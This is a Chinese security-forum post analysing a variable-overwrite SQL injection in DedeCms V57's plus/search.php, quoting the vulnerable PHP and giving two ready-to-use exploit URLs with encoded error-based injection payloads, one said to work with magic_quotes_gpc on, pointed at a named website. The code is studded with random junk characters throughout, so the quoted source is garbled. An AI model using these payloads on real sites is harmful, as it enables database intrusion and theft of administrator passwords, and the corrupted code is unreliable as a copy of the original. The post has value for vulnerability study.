中国网络渗透测试联盟

标题: DedeCms V57 plus/search.php文件SQL注射 [打印本页]

作者: admin    时间: 2013-1-19 08:18
标题: DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
  W8 L2 c& r' d7 ~! t5 ^作者: c4rp3nt3r@0x50sec.org
. [2 o' X( l0 g. YDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.& z( d! h. S2 s8 x

  }0 u* B+ j9 n: I( m5 W黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.5 ?- N+ y3 U$ y) j/ x7 _

3 u, v' n9 R; P0 a# X# c1 M. i============- X: p( }! [* B# {' T+ g" N

$ r  }9 W' I. M7 j 3 G. C. I; l* U' E3 P/ V! @
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
) |2 Q+ k9 N' u0 y" S* E. d
8 l4 `) U0 b' k- k; Frequire_once(dirname(__FILE__).”/../include/common.inc.php”);# x* p7 k. g* a- k; T, ~5 Y7 x
require_once(DEDEINC.”/arc.searchview.class.php”);
5 Y/ v8 ~2 ^9 ` 8 X: W7 M4 V5 o
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;7 K/ B% c9 p, Y7 s  F8 ]/ n
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;7 P" Z+ r* c# b5 `
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
  s. j% \$ K6 t# ]0 K$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;5 l6 T5 G  @% ^2 P. o0 S
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;# |+ F( ^7 b0 H8 T6 S

, |& N4 c" C6 m* T2 s1 g7 ]7 aif(!isset($orderby)) $orderby=”;
$ R' O% {; S" E" Nelse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
8 H7 @  j% W& |! V0 q+ | 4 p% Z2 z4 \1 P. t

* j! Y3 t/ a/ q) b1 n+ ^if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
% v% K  Z% ^% ~% Q* Celse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);" B! m7 w! K: r" x

6 F% w) z& J0 O, e# R: tif(!isset($keyword)){
- g8 E, l* n" g1 `0 `: n    if(!isset($q)) $q = ”;
. W5 {/ K- |# @. W8 b    $keyword=$q;  k( g$ p% i5 N* E
}
/ o# X* q- e, v% `( d; n
, y. J# I8 X' U' m5 p5 T1 e2 `, z$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));6 L0 J4 E6 [% Q" l" J) S4 T# p1 K5 w

# C9 R& o& h5 Z: G//查找栏目信息
, ~* J9 `( I3 H! i9 w) uif(empty($typeid))
: l# h5 Y: R' H6 h& z( f  ^+ ~{
- Q/ r+ g8 l  t5 \5 O3 A    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;3 A5 R" F( H: C5 X+ x: H
    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )8 B, b: ^, x2 y6 U/ V+ K
    {/ a# S- `& z# d- x& ~. k3 e  a) \
        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
' E! X% H/ C1 \* ]; T        fwrite($fp, “<”.”?php\r\n”);8 g  }+ }6 N! D6 O, e
        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);. h! T/ {0 d$ O! v" s& D
        $dsql->Execute();1 X3 p* Q  u/ E9 j; G( `$ [' v
        while($row = $dsql->GetArray())& w% i7 N+ r+ ?; h
        {3 Z* T, m: M+ ^+ m2 O: D$ a5 u
            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);6 Z6 H, {: o. B( K5 p4 Q1 w8 d0 y
        }% o* I6 Z1 L" l5 F' ?2 G) C8 z, |
        fwrite($fp, ‘?’.'>’);4 L4 l, R" F' T6 T% g& U
        fclose($fp);0 m" z, ~1 z  j! n  k' Z, V6 |
    }
; y9 \9 R: Y* S- U    //引入栏目缓存并看关键字是否有相关栏目内容
1 |2 K7 h2 b' Z2 q- m+ u    require_once($typenameCacheFile);# B  E& t, O4 ^# r  G2 N
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
$ U" \, E- H+ ?8 r: ]//+ O) a0 S( E, F8 y4 r7 [! h
    if(isset($typeArr) && is_array($typeArr))" j) U2 l1 n( G4 |
    {
* ~1 C( ?+ Q- s3 u        foreach($typeArr as $id=>$typename)& W4 p1 p! e8 t! S+ Q
        {; h8 P- {5 C0 \& n
2 Z& X6 T. I2 ]- s4 A) b
            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过
7 a3 A  B* J  y# H; o            if($keyword != $keywordn)
4 }' s; \" M4 q+ {% ?& T- M+ y- K            {
/ A" ^) [* A1 ]) R9 P                $keyword = $keywordn;" ^; r' d2 j" {2 o% b1 |
                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
+ a- |2 w: c' c7 S+ }- l/ T                break;# R5 {4 z- w# j
            }- x' [1 D9 f% w
        }
! p0 c: Z- h4 [& b    }
4 u6 r: U8 V& z. w  l7 |}
3 ]1 r+ j; m8 o" B1 Q' @% P; S; ~3 R然后plus/search.php文件下面定义了一个 Search类的对象 .
9 `) _, y! n; Y( d1 V在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类." O3 a. f+ B% z, U! n1 p
$this->TypeLink = new TypeLink($typeid);
. Z: W) n9 [8 S2 R' _+ d5 u) N+ i1 C  e 7 V! x( v; O, K1 B* f
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.& p' V/ z4 h: l5 ~  I$ [

. }2 i* D0 ?' O" K6 lclass TypeLink- T1 ^2 }8 t4 _6 w) `, M
{- ~% K& }) E" s1 b/ S8 R' n
    var $typeDir;
* p9 i) ~. y# s7 f4 Q% a    var $dsql;% j( c; h/ u% ]
    var $TypeID;
! B, M3 a! j2 y9 K, B- M    var $baseDir;
. {. V. K' k& w+ U& t    var $modDir;
2 {/ H) x7 r+ ~0 G    var $indexUrl;
" U6 G; ~. p0 H# A3 M, ?    var $indexName;5 o3 A3 g5 k4 I5 L
    var $TypeInfos;
  l$ c4 z/ `3 U7 R5 `& E' W    var $SplitSymbol;6 d# D( {& z- X1 g4 a+ O
    var $valuePosition;, b7 ~. T" p2 R, g+ \
    var $valuePositionName;1 N5 J7 N% M2 r# \. \5 U
    var $OptionArrayList;//构造函数///////5 {$ ?& `: p* d% N$ X' A
    //php5构造函数
8 Y/ ~, Q5 v6 p' |# N3 t0 I; _/ D( I1 t+ A    function __construct($typeid)
; y6 g1 w# h; `# a; `/ _& y    {
. }; d" K1 g- f        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
) m; m1 r& Q$ W" P! k        $this->indexName = $GLOBALS['cfg_indexname'];
: x) ~( m$ I) p8 z        $this->baseDir = $GLOBALS['cfg_basedir'];
8 H# q% E9 R1 i, e3 }        $this->modDir = $GLOBALS['cfg_templets_dir'];
! I1 P( {$ h$ b2 D6 E5 L4 l! @% \        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
. Q  Y+ ~/ P, |& K3 r( ]3 @        $this->dsql = $GLOBALS['dsql'];% L; \& ?7 ^0 H
        $this->TypeID = $typeid;" d0 Q6 Q- J. {: W  l
        $this->valuePosition = ”;& Y) m+ y! D8 q/ W
        $this->valuePositionName = ”;7 B4 Z. h7 O3 Z
        $this->typeDir = ”;
* ~6 t7 P) ^$ U        $this->OptionArrayList = ”;8 d4 Q4 {% t2 d/ G" F1 ]1 i  Y
; i- ~1 \# H8 R  f/ S" l' P5 q
        //载入类目信息6 J* m6 Z8 c& n' k  P$ X* M
$ V" n9 i1 m0 P' K
        <font color=”Red”>$query = “SELECT tp.*,ch.typename as' ~# {% M3 Y+ d* ^5 q- u1 V
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join$ N+ ^8 |! \' [- d& }2 ?
`#@__channeltype` ch
5 e- \& u9 G- t! [        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿1 M% d- f8 M6 d- E4 B
$ w: Y  r5 T- G0 B' u0 H; J, d
        if($typeid > 0)
* @1 C/ y; c6 c5 o3 r; V, Z        {
6 H( R) R. Q8 n( e% C            $this->TypeInfos = $this->dsql->GetOne($query);6 Y4 S% O6 e" O' I
利用代码一 需要 即使magic_quotes_gpc = Off* I4 w2 h. ?0 j; H/ _  G

. T9 S1 g& y" y  m% I- Zwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
! m5 h. v. g6 P# B4 R' G1 z6 |
7 e* |: r5 l! z! Z6 t  m! }这只是其中一个利用代码… Search 类的构造函数再往下
3 k+ n. Y0 ~1 p2 W $ S  N/ K! Z: v6 Z& z' U  L
……省略7 U9 T" g- F% A  ^. K, F5 ~
$this->TypeID = $typeid;
# }( U9 j2 @: p, r, P0 y……省略
, h& N1 Y% U0 _- X+ p, k! i$ Eif($this->TypeID==”0″){* ~! c- j* N5 z. H( R4 c, Y) T- S3 r
            $this->ChannelTypeid=1;
/ d2 d+ d# t# ~- C, c3 T        }else{
$ O$ |4 V2 g4 K  g% g% T            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲: s3 F3 G( @6 R
//现在不鸡肋了吧亲…
; N1 u* Q- X- n# Y9 p' ^5 [" H            $this->ChannelTypeid=$row['channeltype'];% Y+ {% W4 B! n+ b) x6 q* |

; g% B2 @) o7 N0 W# M        }
6 @& Y. v  k: v利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
) ~- M# h$ s$ h: u& I5 B # p& E% U8 [7 i; J/ A
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title$ J! k. t4 z: r' J! W
- L2 |  g9 o; I: q& @
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
( Q' R* f/ ?$ H# l# c4 t




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2